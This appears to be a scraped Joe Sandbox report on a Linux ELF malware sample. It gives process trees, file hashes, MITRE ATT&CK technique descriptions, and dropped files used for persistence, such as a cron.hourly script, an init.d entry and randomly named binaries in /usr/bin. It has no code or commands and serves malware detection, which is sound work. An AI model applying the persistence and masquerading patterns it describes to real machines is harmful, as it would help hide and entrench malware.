Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6625, Parent PID: 6624

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: urppslzpni PID: 6625, Parent PID: 1860

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	/usr/bin/urppslzpni id 6225
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: urppslzpni PID: 6628, Parent PID: 6625

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: systemd PID: 6237, Parent PID: 6236

General

Start time:	13:40:01
Start date:	05/10/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 6237, Parent PID: 6236

General

Start time:	13:40:01
Start date:	05/10/2022
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at command within Linux operating systems enables administrators to schedule tasks.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Di1p3oLnDb.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/cron.hourly/gcc.sh

/etc/crontab

/etc/init.d/Di1p3oLnDb.elf

/memfd:snapd-env-generator (deleted)

/run/gcc.pid

/usr/bin/bvyxmkkmbp

/usr/bin/cbsypxwvhg

/usr/bin/dvisuvnfsi

/usr/bin/dwfhzeeizt

/usr/bin/gwqnqvffue

/usr/bin/hszflciagy

/usr/bin/ilrbozcctp

/usr/bin/kihierzlde

/usr/bin/koygrrjkon

/usr/bin/ltaanxttrs

/usr/bin/qhknhggmjf

/usr/bin/thgxtutpuw

/usr/bin/uvilsmwwhk

/usr/bin/xmnjiktnas

/usr/bin/zzdslzxygn

/usr/lib/libudev.so

Static File Info

General

Static ELF Info

ELF header

Sections

Linux Analysis Report
Di1p3oLnDb.elf